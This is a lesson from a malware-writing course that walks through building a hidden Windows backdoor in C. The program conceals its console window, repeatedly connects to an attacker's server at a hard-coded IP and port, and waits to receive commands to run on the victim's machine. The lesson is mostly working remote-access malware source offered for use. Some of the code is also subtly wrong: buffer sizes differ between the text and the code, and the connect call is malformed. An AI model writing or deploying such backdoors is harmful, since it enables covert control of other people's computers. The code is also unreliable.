title: Creating our shell function course: code_malware section: "Executing shell commands"
As stated in the previous lesson, we will start working in our "Shell" function which will receive a command from the server, execute it in the client and return the output back to the server.
As you could see in the previous lesson, at the very end of the "WinEntry" function, we called a function "Shell", function which we have not created yet. So let's go to the beginning of the program right above the "APIENTRY WinMain" function and the "Shell" function is going to be a void. What does it mean? A "void" function means, that it will not return anything, for example, if you code a function integer (int) it means, that the integer function will return an int value, for example, one or zero. Add this to the beginning of your code to define the "Shell" function:
void Shell() {
}
Once the function "Shell" is defined, we will create three different variables inside of it. The first one is going to be the buffer variable it is going to be a char type variable and is going to contain "1024" bytes of memory, we are going to use this variable to save the command from the server. Consider the following scenario. We are running our server (keep in mind we have not coded it yet) and we send the command to the target which is going to be for example Delete the 'homework.docx' file, that command will be stored in the buffer variable. The second variable we will need to define is the container variable, I will call it container and that variable is also going to be char type and will also allocate 1024 bytes of memory (the use of this variable will be explained later). And the third variable we will need to define is "_totalresponse" which is also a char, but it will allocate "18384" bytes of memory, it means that this variable is way more large than the previous two. This is how our "Shell" function looks like so far:
void Shell() {
char buffer[1024];
char container[1024];
char total_response[18384];
}
Once we have defined those three variables, we are ready to define another loop which will be executed for ever and will wait for incoming commands. To create an inifnite loop, simply type:
while (1) {
}
As we did in the "WinMain" function, we will also need to create a jump point right before everything in our while loop.
while (1) {
jump:
Code goes here
...
}
Now, what we are going to do, is to take the three variables we created and we will allocate zeroes inside all of the memory that they take. For example, if there are some random bytes in the 1024 bytes of memory that "buffer" takes, we will set it all to zero. We already know that there is a function called "memset" which we already used before, and this function takes three arguments which is the variable name, the bytes we want to overwrite and the size we want to overwrite. But we will not use this function, because we are would use it a lot of times inside this program, let's create a smaller function that is going to perform the same task.
We are going to create the "bzero" function, and for those who are wondering "bzero" that is exactly the same as "memset", just that it is usable only on linux, but as we are creating an application for Windows, we can't simply use the "bzero" function and expect it to work, we need to define this function. How can we define it? Inside of "C" we can use "#define", after that, we type the name of the function (in this case "bzero"), open brackets and specify what parameters are going to be needed. Our "bzero" function will take two arguments, the first one will be the variable and the second one will be the size. For example, if we want to zeroe the variable "buffer", we would execute "bzero(buffer, 1024)". Defining the variable name and arguments are not the only things we need to do, we also need to tell to the program how it should work, how it can zeroe a memory section, we can port the arguments taken from the "bzero" function to the "memset" function which will work in windows in the same line, to do so, type the following:
#define bzero(p, size) (void) memset((p), 0, (size))
Now that we have the "bzero" function in our program, so now we can use it in our while loop so we can "bzero" all of the three variables previously defined. Our while loop looks like this so far:
while (1) {
jump:
bzero(buffer, sizeof(buffer));
bzero(container, sizeof(container));
bzero(total_response, sizeof(total_response));
}
So now let's see how we can use these variables. The first thing our program needs to do is to receive the command of our server, how can we do that? we can do it by using the "recv" (receive) function, this function takes four parameters, the first one is the socket we created, which we called "sock", the second parameter is where the received data from the server will be stored, in our case "buffer" the third parameter, is the size of the variable where we are storing the received data, so it is going to be "1024" bytes, and the fourth parameter will be zero, which specifies we are not passing any other argument besides the three previous paramters. That entire line would look lilke this:
recv(sock, buffer, 1024, 0);
Now, when whe received the data sent by the server, we can enter our if/else statements.
This is how our code looks so far:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#define bzero(p, size) (void) memset((p), 0, (size))
int sock;
void Shell() {
char buffer[1024];
char container[1024];
char total_response[1024];
while(1) {
jump:
bzero(buffer, sizeof(buffer));
bzero(container, sizeof(container));
bzero(total_response, sizeof(total_response));
recv(sock, buffer, 1024, 0);
}
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindow", NULL);
ShowWindow(stealth, 0);
struct sockaddr_in ServAddr;
unsigned short ServPort;
char *ServIP;
WSADATA wsaData;
ServIP = "192.168.1.1";
ServPort = 50005;
if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
exit(1);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
memset(&ServAddr, 0, sizeof(ServAddr));
ServAddr.sin_family = AF_INET;
ServAddr.sin_addr.s_addr = inet_addr(ServIP);
ServAddr.sin_port = htons(ServPort);
start:
while (connect(socket, (struct sockaddr *) &ServAddr, sizeof(ServAddr != 0))) {
Sleep(10);
goto start;
}
}